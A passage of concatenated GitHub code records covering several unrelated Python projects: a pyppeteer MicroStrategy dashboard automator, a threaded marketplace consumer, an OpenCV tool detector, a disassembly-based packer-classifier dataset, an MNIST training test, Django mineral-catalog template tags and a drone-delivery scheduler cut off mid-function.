clock.tick(60)\n\n","repo_name":"Drevi/Mooc","sub_path":"part13-17_asteroids/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"1121835234","text":"from pyppeteer import launch, errors\r\nfrom pyppeteer.page import Page\r\nfrom create_bot_and_conn import SERVER_LINK\r\n\r\n_browsers_list = dict()\r\n\r\n\r\nasync def create_browser(user_id: int, headless = True) -> Page:\r\n _browsers_list[user_id] = await launch({'headless': headless, 'ignoreHTTPSErrors': True, 'autoClose':False, 'defaultViewport': {'width': 1920, 'height': 1080}})\r\n page = (await _browsers_list[user_id].pages())[0]\r\n return page \r\n\r\n\r\nasync def close_browser(user_id: int):\r\n if user_id in _browsers_list:\r\n await _browsers_list[user_id].close()\r\n _browsers_list.pop(user_id, None)\r\n\r\n\r\nasync def get_browsers_page(user_id: int) -> Page:\r\n page = (await _browsers_list[user_id].pages())[0]\r\n return page\r\n\r\n\r\n\r\nasync def get_selectors(user_id, new_browser = None):\r\n \"\"\"Get all dashboard's selector\r\n\r\n Available options are:\r\n\r\n * ``user_id`` (int): userID from TG\r\n \"\"\" \r\n if not new_browser:\r\n page = await get_browsers_page(user_id)\r\n else: \r\n page = new_browser\r\n\r\n select_multi = await page.evaluate('''\r\n arr_1 = new Object();\r\n Object.keys(mstrmojo.all).forEach(function(key) {\r\n\r\n try\r\n {\r\n if (mstrmojo.all[key].t == 111 && mstrmojo.all[key].multi){\r\n arr_1[mstrmojo.all[key].n] = mstrmojo.all[key].ckey;\r\n }\r\n }\r\n catch \r\n {\r\n console.log('1')\r\n }\r\n });\r\n arr_1\r\n ''')\r\n select_wo_multi = await page.evaluate('''\r\n arr_2 = new Object();\r\n Object.keys(mstrmojo.all).forEach(function(key) {\r\n\r\n try\r\n {\r\n if (mstrmojo.all[key].t == 111 && !mstrmojo.all[key].multi){\r\n arr_2[mstrmojo.all[key].n] = mstrmojo.all[key].ckey;\r\n }\r\n }\r\n catch \r\n {\r\n console.log('1')\r\n }\r\n });\r\n arr_2\r\n ''')\r\n return select_multi, select_wo_multi \r\n\r\n\r\nasync def get_values(user_id, ckey, new_browser = None):\r\n \"\"\"Get all values from dashboard's selector\r\n\r\n Available options are:\r\n\r\n * ``user_id`` (int): userID from TG\r\n * ``ckey`` (str): selector's ctlkey\r\n \"\"\" \r\n if not new_browser:\r\n page = await get_browsers_page(user_id)\r\n else: \r\n page = new_browser\r\n \"\"\"\r\n val = await page.evaluate(f'''\r\n bbb = new Object()\r\n z=mstrApp.docModel.getNodeDataByKey('{ckey}').data.elms\r\n for (i in z)\r\n {{\r\n bbb[z[i].n]=z[i].v\r\n }}\r\n bbb\r\n ''')\r\n \"\"\" \r\n \r\n HTML = await page.evaluate('document.body.innerHTML')\r\n val = dict()\r\n HTML = HTML[HTML.find('\\\"k\\\":\\\"' + ckey + '\\\",\\\"wid\\\"'):]\r\n begin = HTML.find('\\\"elms\\\":[') + 9\r\n end = HTML[begin:].find(']') - 1\r\n values = HTML[begin:begin + end].split('},{')\r\n for i in values:\r\n tmp = i\r\n tmp = tmp[tmp.find('\\\"v\\\":\\\"') + 5:]\r\n value = tmp[:tmp.find('\\\"')]\r\n tmp = tmp[tmp.find('\\\"n\\\":\\\"') + 5:]\r\n name = tmp[:tmp.find('\\\"')]\r\n val[name] = value\r\n return val\r\n\r\n \r\nasync def request_set_selector(user_id, options=dict(), new_browser=None):\r\n \"\"\"Send request to change selector's value\r\n\r\n Available options are:\r\n\r\n * ``user_id`` (int): userID from TG\r\n * ``url`` (str): url to taskProc\r\n * ``ctlKey`` (str): selector's ctlKey\r\n * ``elemList`` (str): list of values (concat throught \\\\u001e)\r\n \"\"\" \r\n if not new_browser:\r\n page = await get_browsers_page(user_id)\r\n else: \r\n page = new_browser\r\n\r\n url = options.get('url', f'{SERVER_LINK}/MicroStrategy/servlet/taskProc') # url до taskproc (можно посмотреть через ф12 при прожатии селектора)\r\n ctlKey = options.get('ctlKey', 'W5121A375615A451CA272FD10697EA8EA')\r\n elemList = options.get('elemList', 'h29;77ECA0D9445F155A4B08DFAC49FC9624')\r\n\r\n taskid = options.get('taskid', 'mojoRWManipulation')\r\n rwb = await page.evaluate('mstrApp.docModel.bs')\r\n messageID = await page.evaluate('mstrApp.docModel.mid')\r\n mstr_now = await page.evaluate('mstrmojo.now()')\r\n servlet = await page.evaluate('mstrApp.servletState')\r\n keyContext = await page.evaluate(f'mstrApp.docModel.getNodeDataByKey(\"{ctlKey}\").defn.ck')\r\n \r\n await page.evaluate(f'''\r\n url = \\'{url}\\'\r\n fetch(url, {{\r\n method: 'POST',\r\n headers: {{\r\n 'Content-type': 'application/x-www-form-urlencoded',\r\n }},\r\n body:\"taskId={taskid}&rwb={rwb}&messageID={messageID}&stateID=-1¶ms=%7B%22actions%22%3A%5B%7B%22act%22%3A%22setSelectorElements%22%2C%22keyContext%22%3A%22{keyContext}%22%2C%22ctlKey%22%3A%22{ctlKey}%22%2C%22elemList%22%3A%22{elemList}%22%2C%22isVisualization%22%3Afalse%2C%22include%22%3Atrue%2C%22tks%22%3A%22W12390BF5EDEF41D8A507193CEF784240%22%7D%5D%2C%22partialUpdate%22%3A%7B%22selectors%22%3A%5B%22W5121A375615A451CA272FD10697EA8EA%22%5D%7D%2C%22style%22%3A%7B%22params%22%3A%7B%22treesToRender%22%3A3%7D%2C%22name%22%3A%22RWDocumentMojoStyle%22%7D%7D&zoomFactor=1&styleName=RWDocumentMojoStyle&taskContentType=json&taskEnv=xhr&xts={mstr_now}&mstrWeb={servlet}\"\r\n }}) \r\n ''')\r\n \r\n\r\n\r\nasync def apply_selectors(user_id, new_browser = None):\r\n \"\"\"Apply selector changes \r\n\r\n Available options are:\r\n\r\n * ``user_id`` (int): userID from TG\r\n \"\"\" \r\n if not new_browser:\r\n page = await get_browsers_page(user_id)\r\n else: \r\n page = new_browser\r\n\r\n await page.evaluate('mstrApp.docModel.controller.refresh()')\r\n\r\nasync def is_session_alive(user_id, new_browser = None):\r\n \"\"\"Check session timeout\r\n\r\n Available options are:\r\n\r\n * ``user_id`` (int): userID from TG\r\n \"\"\" \r\n if not new_browser:\r\n page = await get_browsers_page(user_id)\r\n else: \r\n page = new_browser\r\n \r\n session_timeout = int(await page.evaluate('''\r\n try{\r\n if (typeof (mstrApp) !== 'undefined') {\r\n mstrApp.sessionManager.remainingTime\r\n }\r\n else {\r\n -1\r\n }\r\n }\r\n catch {\r\n -1\r\n }\r\n '''))\r\n\r\n return session_timeout > 30\r\n\r\n\r\ndef list_to_str(value: list) -> str:\r\n val = value.copy()\r\n str=val.pop()\r\n for i in val:\r\n str+='\\\\u001e'+i\r\n return str\r\n\r\n\"\"\"\r\nasync def get_page_by_id(user_id: int):\r\n for i in (await browser.pages()):\r\n if i.user_id == user_id:\r\n return i\r\n\r\nasync def close_page(user_id: int):\r\n for i in (await browser.pages()):\r\n if i.user_id == user_id:\r\n await i.close()\r\n\"\"\"","repo_name":"taton31/MSTR","sub_path":"webdriver/page_interaction.py","file_name":"page_interaction.py","file_ext":"py","file_size_in_byte":7530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"4957395949","text":"\"\"\"\nThis module represents the Consumer.\n\nComputer Systems Architecture Course\nAssignment 1\nMarch 2022\n\"\"\"\nfrom threading import Thread\nfrom time import sleep\n\n\nclass Consumer(Thread):\n \"\"\"\n Class that represents a consumer.\n \"\"\"\n # taken from marketplace at new_cart() then used\n # on add_to_cart(), remove_from_cart() and place_order()\n cart_id: int\n\n def __init__(self, carts, marketplace, retry_wait_time, **kwargs):\n \"\"\"\n Constructor.\n\n :type carts: List\n :param carts: a list of add and remove operations\n\n :type marketplace: Marketplace\n :param marketplace: a reference to the marketplace\n\n :type retry_wait_time: Time\n :param retry_wait_time: the number of seconds that a producer must wait\n until the Marketplace becomes available\n\n :type kwargs:\n :param kwargs: other arguments that are passed to the Thread's __init__()\n \"\"\"\n Thread.__init__(self, **kwargs)\n # list of dictionaries of type:\n # [\"type\": \"add\",\n # \"product\": \"id2\",\n # \"quantity\": 1]\n self.carts_ops = carts\n # marketplace reference\n self.marketplace = marketplace\n # if product is not found in queue, wait this time\n self.retry_wait_time = retry_wait_time\n\n def run(self):\n for ops in self.carts_ops:\n with self.marketplace.lock:\n self.cart_id = self.marketplace.new_cart()\n # operation is a dictionary of type: [\"type\": \"add\", \"product\": \"id2\", \"quantity\": 1]\n for operation in ops:\n if operation[\"type\"] == \"add\":\n for _ in range(operation[\"quantity\"]):\n with self.marketplace.lock:\n while True:\n is_ok = self.marketplace.add_to_cart(\n self.cart_id, operation[\"product\"])\n if is_ok is False:\n sleep(self.retry_wait_time)\n else:\n break\n elif operation[\"type\"] == \"remove\":\n for _ in range(operation[\"quantity\"]):\n with self.marketplace.lock:\n self.marketplace.remove_from_cart(self.cart_id, operation[\"product\"])\n\n with self.marketplace.lock:\n final_list = self.marketplace.place_order(self.cart_id)\n for item in final_list:\n print(f\"{self.name} bought {item}\")\n","repo_name":"razvanabagiu89/Multithreaded-Marketplace-Python","sub_path":"skel/tema/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":2599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"22260369197","text":"from keras.models import load_model\nimport cv2 as cv\nimport numpy as np\n\n\ndef get_rectangles_from_image(image):\n edges = get_edges_from_image(image)\n contours,_ = cv.findContours(edges, 1, 2)\n rects = get_merged_rectangles_from_contours(contours)\n return rects\n\n\ndef get_edges_from_image(image):\n img = image\n\n kernel = np.ones((3,3),np.uint8)\n\n noNoise = img\n noNoise = cv.morphologyEx(noNoise, cv.MORPH_OPEN, kernel)\n noNoise = cv.morphologyEx(noNoise, cv.MORPH_CLOSE, kernel)\n noNoise = cv.GaussianBlur(noNoise, (3,3), 0)\n\n edges = cv.Canny(noNoise, 0, 255)\n return edges\n\n\ndef get_merged_rectangles_from_contours(contours):\n rects = []\n for cnt in contours:\n x,y,w,h = cv.boundingRect(cnt)\n rects.append([x,y,w,h])\n rects.append([x,y,w,h])\n\n rects, _ = cv.groupRectangles(rects, 1, 0.2)\n\n merged = merge_rectangles(rects)\n return merge_rectangles(merged)\n\n\ndef merge_rectangles(rects):\n merged = []\n for a in rects:\n bigRect = a\n for b in rects:\n if intersection(bigRect, b):\n bigRect = union(bigRect, b)\n merged.append(bigRect)\n \n return set(merged)\n\n\ndef union(a,b):\n x = min(a[0], b[0])\n y = min(a[1], b[1])\n w = max(a[0]+a[2], b[0]+b[2]) - x\n h = max(a[1]+a[3], b[1]+b[3]) - y\n return (x, y, w, h)\n\n\ndef intersection(a,b):\n x = max(a[0], b[0])\n y = max(a[1], b[1])\n w = min(a[0]+a[2], b[0]+b[2]) - x\n h = min(a[1]+a[3], b[1]+b[3]) - y\n if w<0 or h<0: return False # or (0,0,0,0) ?\n return (x, y, w, h)\n\ndef predict_labels(model, image, rectangles):\n TOOLLABELS = { 0: \"background\", 1: \"hammer\", 2: \"plane\", 3: \"wrench\" }\n # TOOLLABELS = { 0: \"hammer\", 1: \"plane\", 2: \"wrench\" }\n TARGETSIZE = (224, 224)\n\n labels = []\n for rect in rectangles:\n x,y,w,h = rect\n crop = image[y:y+h, x:x+w]\n resize = cv.resize(crop, TARGETSIZE)\n resize = np.concatenate([resize[np.newaxis]]).astype('float32')\n\n y_pred = model.predict(resize)\n labels.append(TOOLLABELS[np.argmax(y_pred)])\n print(y_pred)\n return labels\n \n\ndef write_labels_on_image(image, labels, rectangles):\n img = image\n FONT = cv.FONT_HERSHEY_SIMPLEX\n for i, rect in enumerate(rectangles):\n x,y,_,_ = rect\n label = labels[i]\n cv.putText(img, label, (x,y), FONT, 1, (255,255,255), 2)\n return img\n\n\ndef draw_rectangles(image, rectangles):\n img = image\n for rect in rectangles:\n x,y,w,h = rect\n cv.rectangle(img, (x,y), (x+w,y+h), (255,255,0), 2)\n return img\n\n\ndef save_image(img, name):\n cv.imwrite('./results/'+name+'.jpg', img, [int(cv.IMWRITE_JPEG_QUALITY), 90])\n\n\nif __name__ == \"__main__\":\n testfile = '5'\n orig_img = cv.imread('./data/testing/'+testfile+'.jpg')\n rectangles = get_rectangles_from_image(orig_img)\n\n model = load_model('./models/tool_model.h5')\n labels = predict_labels(model, orig_img, rectangles)\n\n labeled_image = write_labels_on_image(orig_img, labels, rectangles)\n labeled_image = draw_rectangles(labeled_image, rectangles)\n save_image(labeled_image, 'labeledImage_'+testfile)\n cv.imshow('labeled_image', labeled_image)\n cv.waitKey(0)","repo_name":"moukle/cv-handtools","sub_path":"ToolClassification/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"13283118283","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals, print_function, division\n\nimport pandas as pd\nimport collections\nimport numpy as np\nimport json\nfrom torch.utils.data import Dataset, DataLoader\nimport torch\nimport pre_data.settings as sts\nfrom collections import Counter\n# from tqdm import tqdm\n\n__all__ = [\"INS_SequenceVocabulary\", \"get_ins_datasets\"]\n\n# Classes\nclasses = sts.PACKERS_LANDSPACE\n\n\n# 词汇表:原始输入和数字形式的转换字典,用于壳类型\nclass Vocabulary(object):\n def __init__(self, token_to_idx=None):\n\n # 令牌到索引\n if token_to_idx is None:\n token_to_idx = {}\n self.token_to_idx = token_to_idx\n\n # 索引到令牌\n self.idx_to_token = {\n idx: token\n for token, idx in self.token_to_idx.items()\n }\n\n def to_serializable(self):\n return {'token_to_idx': self.token_to_idx}\n\n @classmethod\n def from_serializable(cls, contents):\n return cls(**contents)\n\n def add_token(self, token):\n if token in self.token_to_idx:\n index = self.token_to_idx[token]\n else:\n index = len(self.token_to_idx)\n self.token_to_idx[token] = index\n self.idx_to_token[index] = token\n return index\n\n def add_tokens(self, tokens):\n return [self.add_token[token] for token in tokens]\n\n def lookup_token(self, token):\n return self.token_to_idx[token]\n\n def lookup_index(self, index):\n if index not in self.idx_to_token:\n raise KeyError(\n \"the index {0} is not in the Vocabulary\".format(index))\n return self.idx_to_token[index]\n\n def __str__(self):\n return \"\".format(len(self))\n\n def __len__(self):\n return len(self.token_to_idx)\n\n\n# 序列化词汇表:反汇编指令的词汇表,存储反汇编指令集\nclass INS_SequenceVocabulary(Vocabulary):\n def __init__(self,\n token_to_idx=None,\n unk_token=\"\",\n mask_token=\"\",\n begin_seq_token=\"\",\n end_seq_token=\"\"):\n\n super(INS_SequenceVocabulary, self).__init__(token_to_idx)\n\n self.mask_token = mask_token\n self.unk_token = unk_token\n self.begin_seq_token = begin_seq_token\n self.end_seq_token = end_seq_token\n\n self.mask_index = self.add_token(self.mask_token) # 0\n self.unk_index = self.add_token(self.unk_token)\n self.begin_seq_index = self.add_token(self.begin_seq_token)\n self.end_seq_index = self.add_token(self.end_seq_token)\n\n def to_serializable(self):\n contents = super(INS_SequenceVocabulary, self).to_serializable()\n contents.update({\n 'unk_token': self.unk_token,\n 'mask_token': self.mask_token,\n 'begin_seq_token': self.begin_seq_token,\n 'end_seq_token': self.end_seq_token\n })\n return contents\n\n @classmethod\n def from_serializable(cls, contents):\n return cls(contents['token_to_idx'], contents['unk_token'],\n contents['mask_token'], contents['begin_seq_token'],\n contents['end_seq_token'])\n\n def lookup_token(self, token):\n return self.token_to_idx.get(token, self.unk_index)\n\n def lookup_index(self, index):\n if index not in self.idx_to_token:\n raise KeyError(\n \"the index ({0}) is not in the INS_SequenceVocabulary\".format(\n index))\n return self.idx_to_token[index]\n\n def __str__(self):\n return \"\".format(\n len(self.token_to_idx))\n\n def __len__(self):\n return len(self.token_to_idx)\n\n\n# 向量器:输入和输出的词汇表类实例\nclass InsVectorizer(object):\n def __init__(self, ins_word_vocab, ins_char_vocab, packer_vocab):\n self.ins_word_vocab = ins_word_vocab\n self.ins_char_vocab = ins_char_vocab\n self.packer_vocab = packer_vocab\n\n # 向量化\n def vectorize(self, ins_s):\n # 向量化每一个文件的汇编指令集序列\n indices = [\n self.ins_word_vocab.lookup_token(token)\n for token in ins_s.split(\" \")\n ]\n\n indices = [self.ins_word_vocab.begin_seq_index\n ] + indices + [self.ins_word_vocab.end_seq_index]\n\n # 词级向量\n ins_length = len(indices)\n word_vector = np.zeros(ins_length, dtype=np.int64)\n word_vector[:ins_length] = indices\n\n # 字符级向量\n word_length = max([len(word) for word in ins_s.split(\" \")])\n char_vector = np.zeros((len(word_vector), word_length), dtype=np.int64)\n char_vector[0, :] = self.ins_word_vocab.mask_index # \n char_vector[-1, :] = self.ins_word_vocab.mask_index # \n for i, word in enumerate(ins_s.split(\" \")):\n char_vector[i + 1, :len(word)] = [\n self.ins_char_vocab.lookup_token(char) for char in word\n ]\n\n return word_vector, char_vector, ins_length\n\n # 词级反向量化\n def unvectorize_word_vector(self, word_vector):\n tokens = [\n self.ins_word_vocab.lookup_index(index) for index in word_vector\n ]\n ins_ = \" \".join(token for token in tokens)\n return ins_\n\n # 字符级反向量化\n def unvectorize_char_vector(self, char_vector):\n ins_ = \"\"\n for word_vector in char_vector:\n for index in word_vector:\n if index == self.ins_char_vocab.mask_index:\n break\n ins_ += self.ins_char_vocab.lookup_index(index)\n ins_ += \" \"\n return ins_\n\n @classmethod\n def from_dataframe(cls, df, cutoff):\n\n # 创建壳类别词汇表\n packer_vocab = Vocabulary()\n for packer in sorted(set(df.packer)):\n packer_vocab.add_token(packer)\n\n # 获取指令数目\n word_counts = Counter()\n for ins_ in df.ins:\n for token in ins_.split(\" \"):\n word_counts[token] += 1\n\n # 创建反汇编指令的词汇表实例(word)\n ins_word_vocab = INS_SequenceVocabulary()\n for word, word_count in word_counts.items():\n if word_count >= cutoff:\n ins_word_vocab.add_token(word)\n\n # 创建反汇编指令的词汇表实例(char)\n ins_char_vocab = INS_SequenceVocabulary()\n for ins_ in df.ins:\n for token in ins_:\n ins_char_vocab.add_token(token)\n\n return cls(ins_word_vocab, ins_char_vocab, packer_vocab)\n\n @classmethod\n def from_serializable(cls, contents):\n ins_word_vocab = INS_SequenceVocabulary.from_serializable(\n contents['ins_word_vocab'])\n ins_char_vocab = INS_SequenceVocabulary.from_serializable(\n contents['ins_char_vocab'])\n packer_vocab = Vocabulary.from_serializable(contents['packer_vocab'])\n return cls(ins_word_vocab, ins_char_vocab, packer_vocab)\n\n def to_serializable(self):\n return {\n 'ins_word_vocab': self.ins_word_vocab.to_serializable(),\n 'ins_char_vocab': self.ins_char_vocab.to_serializable(),\n 'packer_vocab': self.packer_vocab.to_serializable()\n }\n\n\n# 数据集:提供向量化数据\nclass InsDataset(Dataset):\n def __init__(self, df, vectorizer):\n self.df = df\n self.vectorizer = vectorizer\n\n # 数据分割\n self.train_df = self.df[self.df.split == 'train']\n self.train_size = len(self.train_df)\n self.val_df = self.df[self.df.split == 'val']\n self.val_size = len(self.val_df)\n self.test_df = self.df[self.df.split == 'test']\n self.test_size = len(self.test_df)\n self.lookup_dict = {\n 'train': (self.train_df, self.train_size),\n 'val': (self.val_df, self.val_size),\n 'test': (self.test_df, self.test_size)\n }\n self.set_split('train')\n\n # 分类权重(防止类别不平衡)\n class_counts = df.packer.value_counts().to_dict()\n\n def sort_key(item):\n return self.vectorizer.packer_vocab.lookup_token(item[0])\n\n sorted_counts = sorted(class_counts.items(), key=sort_key)\n frequencies = [count for _, count in sorted_counts]\n self.class_weights = 1.0 / torch.tensor(\n frequencies, dtype=torch.float32)\n\n @classmethod\n def load_dataset_and_make_vectorizer(cls, df, cutoff):\n train_df = df[df.split == 'train']\n return cls(df, InsVectorizer.from_dataframe(train_df, cutoff))\n\n @classmethod\n def load_dataset_and_load_vectorizer(cls, df, vectorizer_filepath):\n vectorizer = cls.load_vectorizer_only(vectorizer_filepath)\n return cls(df, vectorizer)\n\n def load_vectorizer_only(vectorizer_filepath):\n with vectorizer_filepath.open() as fp:\n return InsVectorizer.from_serializable(json.load(fp))\n\n def save_vectorizer(self, vectorizer_filepath):\n with vectorizer_filepath.open(\"w\") as fp:\n json.dump(self.vectorizer.to_serializable(), fp)\n\n def set_split(self, split=\"train\"):\n self.target_split = split\n self.target_df, self.target_size = self.lookup_dict[split]\n\n def __str__(self):\n return \"\".format(self.target_split,\n self.target_size)\n\n def __len__(self):\n return self.target_size\n\n def __getitem__(self, index):\n row = self.target_df.iloc[index]\n ins_word_vector, ins_char_vector, ins_length = self.vectorizer.vectorize(\n row.ins)\n packer_index = self.vectorizer.packer_vocab.lookup_token(row.packer)\n return {\n 'ins_word_vector': ins_word_vector,\n 'ins_char_vector': ins_char_vector,\n 'ins_length': ins_length,\n 'packer': packer_index\n }\n\n def get_num_batches(self, batch_size):\n return len(self) // batch_size\n\n def generate_batches(self,\n batch_size,\n collate_fn,\n shuffle=True,\n drop_last=False,\n device=\"cpu\"):\n dataloader = DataLoader(\n dataset=self,\n batch_size=batch_size,\n collate_fn=collate_fn,\n shuffle=shuffle,\n drop_last=drop_last)\n for data_dict in dataloader:\n out_data_dict = {}\n for name, tensor in data_dict.items():\n out_data_dict[name] = data_dict[name].to(device)\n yield out_data_dict\n\n\ndef get_ins_datasets(csv_path=sts.SAVE_CSV_PATH / \"train_data_20190429.pkl\",\n randam_seed=None,\n state_size=[0.7, 0.15, 0.15],\n vectorize=None):\n\n if np.sum(state_size) != 1.0 or any([i < 0 for i in state_size]):\n raise Exception(\"np.sum({0}) != 1 or not integer\".format(state_size))\n if randam_seed is not None:\n np.random.seed(randam_seed)\n\n train_df = pd.read_pickle(csv_path)\n df = train_df[['ins', 'packer']]\n\n by_packer = collections.defaultdict(list)\n for _, row in df.iterrows():\n by_packer[row.packer].append(row.to_dict())\n\n # print(\"---->>> packer:\")\n # for packer in by_packer:\n # print(\"{0}: {1}\".format(packer, len(by_packer[packer])))\n\n final_list = []\n for _, item_list in sorted(by_packer.items()):\n np.random.shuffle(item_list)\n n = len(item_list)\n n_train = int(state_size[0] * n)\n n_val = int(state_size[1] * n)\n\n # 给数据点一个切分属性\n for item in item_list[:n_train]:\n item['split'] = 'train'\n for item in item_list[n_train:n_train + n_val]:\n item['split'] = 'val'\n for item in item_list[n_train + n_val:]:\n item['split'] = 'test'\n\n final_list.extend(item_list)\n\n split_df = pd.DataFrame(final_list)\n # print(split_df.head())\n\n # 数据库实例\n if vectorize is None:\n dataset = InsDataset.load_dataset_and_make_vectorizer(split_df, 5)\n else:\n dataset = InsDataset.load_dataset_and_load_vectorizer(\n split_df, vectorize)\n return dataset\n\n\nif __name__ == '__main__':\n datasets = get_ins_datasets(randam_seed=22)\n vector = datasets.vectorizer\n\n print(vector.ins_word_vocab)\n print(vector.ins_char_vocab)\n print(vector.packer_vocab)\n word_vector, char_vector, ins_length = vector.vectorize(\n \"mov add ret retn jmp call or\")\n\n print()\n\n print(\"word_vector:\", np.shape(word_vector))\n print(\"char_vector:\", np.shape(char_vector))\n print(\"title_length:\", ins_length)\n print(word_vector)\n print(char_vector)\n print(vector.unvectorize_word_vector(word_vector))\n print(vector.unvectorize_char_vector(char_vector))\n\n print()\n\n print(datasets)\n input_ = datasets[10]['ins_word_vector'] # __getitem__\n print(input_)\n print(datasets.class_weights)\n","repo_name":"yuriufo/Packer-Classifier","sub_path":"Datasets/ins_datasets.py","file_name":"ins_datasets.py","file_ext":"py","file_size_in_byte":13159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"33268309187","text":"import pandas as pd\n\nimport torch\nfrom torch import nn, optim\nfrom torch.utils.data import Dataset\nimport torch.nn.functional as F\nfrom torchvision import datasets, models, transforms as Transforms\n\nfrom trainer import Model\nfrom tools import AvgMeter, AvgMeterVector\n\nfrom sklearn.metrics import f1_score, accuracy_score\n\n\nclass MyModel(Model):\n def __init__(self):\n super().__init__()\n model = models.resnet18(pretrained=True)\n model.fc = nn.Linear(512, 10)\n self.model = model\n\n def forward(self, x):\n x = torch.cat([x] * 3, dim=1)\n return self.model(x)\n\n def update_metrics(self, preds, target):\n metrics_ = self.get_metrics()\n metrics = metrics_[self.current_epoch]\n if metrics.get(\"Accuracy\", None) == None:\n metrics[\"Accuracy\"] = AvgMeterVector(10)\n metrics[\"F1_Score\"] = AvgMeterVector(10)\n preds = preds.argmax(dim=1).cpu()\n target = target.cpu()\n counts = pd.Series(target).value_counts().to_dict()\n preds_onehot = F.one_hot(preds, num_classes=10)\n target_onehot = F.one_hot(target, num_classes=10)\n\n f1_list, acc_list = [], []\n for i in range(3):\n f1_list.append(f1_score(target_onehot[:, i], preds_onehot[:, i]))\n acc_list.append(accuracy_score(target_onehot[:, i], preds_onehot[:, i]))\n\n metrics[\"Accuracy\"].update(acc_list, counts)\n metrics[\"F1_Score\"].update(f1_list, counts)\n\n\ntransforms = Transforms.Compose([Transforms.ToTensor(),])\n\ntrain_dataset = datasets.MNIST(\n root=\"C:\\Moein\\AI\\Datasets\", train=True, download=False, transform=transforms\n)\nvalid_dataset = datasets.MNIST(\n root=\"C:\\Moein\\AI\\Datasets\", train=False, download=False, transform=transforms\n)\n\n\nclass MyDataset(Dataset):\n def __init__(self, dataset):\n self.data = [data for data in dataset]\n\n def __getitem__(self, index):\n return self.data[index]\n\n def __len__(self):\n return len(self.data)\n\n\nmodel = MyModel()\nmodel.fit(\n MyDataset(train_dataset),\n MyDataset(valid_dataset),\n nn.CrossEntropyLoss(),\n 5,\n 512,\n file_name=\"mnist.pt\",\n)\n\n","repo_name":"moein-shariatnia/PyTorch-Trainer","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"22571279232","text":"from django import template\n\nimport minerals.models\n\n\nregister = template.Library()\n\n\n# Displayed fields for mineral\nLABELS = [\n 'category',\n 'formula',\n 'strunz_classification',\n 'unit_cell',\n 'color',\n 'crystal_symmetry',\n 'mohs_scale_hardness',\n 'group',\n 'optical_properties',\n 'crystal_habit',\n 'specific_gravity',\n 'crystal_system',\n 'luster',\n]\n\n# Displayed color options for mineral\nCOLORS = [\n 'black',\n 'blue',\n 'brown',\n 'green',\n 'grey',\n 'indigo',\n 'orange',\n 'pink',\n 'purple',\n 'red',\n 'rose',\n 'violet',\n 'white',\n 'yellow'\n]\n\n# Displayed crystal system options for mineral\nSYSTEM = [\n 'cubic',\n 'hexagonal',\n 'isometric',\n 'monoclinic',\n 'orthorhombic',\n 'prismatic',\n 'spheroidal',\n 'tetragonal',\n 'triclinic',\n 'trigonal'\n]\n\n\n# Remove _ from field name\n@register.filter\ndef clean_title(title):\n return title.replace('_', ' ')\n\n\n# Checks if field is in LABELS list\n@register.filter\ndef check(field):\n if field in LABELS:\n return True\n\n\n@register.inclusion_tag('minerals/color_list.html')\ndef color_list(cl):\n \"\"\"Returns a dict of color list and 'cl' :param for color_list.html\"\"\"\n return {'colors': COLORS, 'cl': cl}\n\n\n@register.inclusion_tag('minerals/crystal_list.html')\ndef crystal_list(cr):\n \"\"\"Returns a dict of crystal system list and 'cr' :param for crystal_list.html\"\"\"\n return {'crystals': SYSTEM, 'cr': cr}\n\n\n@register.inclusion_tag('minerals/group_list.html')\ndef group_list(gr):\n \"\"\"Returns a dict of group list and 'gr' :param for group_list.html\"\"\"\n groups = minerals.models.Mineral.objects.values_list('group', flat=True).distinct()\n return {'groups': groups, 'gr': gr}\n\n","repo_name":"OzRayan/Mineral_Catalog_v.2","sub_path":"mineral_catalog/minerals/templatetags/extra_tags.py","file_name":"extra_tags.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"36868354849","text":"\nfrom fileinput import close\nfrom glob import glob\nimport math\nimport sys\n\nwarehouse_coords = []\nwarhouse_products = []\norder_coords = []\norder_quantity = []\norder_items = []\nnumber_products = 0\nproduct_weights = []\nnum_warehouses = 0\nnum_orders = 0\nrows, columns, drones, turns, max_payload = 0, 0, 0, 0, 0\ndrone_status = []\ndrone_coords = []\npriority_orders = []\ntotal_commands = 0\nres_string = \"\"\n\n\ndef output():\n global res_string\n\n res_string = str(total_commands) + \"\\n\" + res_string\n with open(\"output.out\", \"w\") as f:\n f.write(res_string)\n f.close()\n\n\ndef game_over():\n print(\"We finished everything\")\n output()\n exit(0)\n\n\ndef next_turn():\n for i in range(0, len(drone_status)):\n drone_status[i] -= 1\n\n\ndef free_drone():\n for index, val in enumerate(drone_status):\n if val == 0:\n return index\n return -1\n\n\ndef free_drone_excluded(excluded_drone):\n for index, val in enumerate(drone_status):\n if val == 0 and index != excluded_drone:\n return index\n return -1\n\n\ndef order_weight(order_index):\n order_products = order_items[order_index]\n weight = 0\n for product in order_products:\n weight += product_weights[product]\n return weight\n\n\ndef move_drone(drone_index, x, y):\n print(\"Moving drone \" + str(drone_index) + \" to \" + str(x) + \" \" + str(y))\n return 0\n\n\ndef load_product(drone_index, warehouse_index, product_index):\n global total_commands\n total_commands += 1\n print(\"Loading product \" + str(product_index) +\n \" from warehouse \" + str(warehouse_index))\n # with open(\"output.out\", \"a\") as f:\n # f.write(\n # f\"{str(drone_index)} L {str(warehouse_index)} {str(product_index)} 1\\n\")\n # f.close()\n global res_string\n res_string += f\"{str(drone_index)} L {str(warehouse_index)} {str(product_index)} 1\\n\"\n return 0\n\n\ndef deliver_product(drone_index, order_index, product_index):\n global total_commands\n total_commands += 1\n print(\"Drone \" + str(drone_index) + \" delivering product \" + str(product_index) +\n \" to order \" + str(order_index))\n if(order_quantity[order_index] 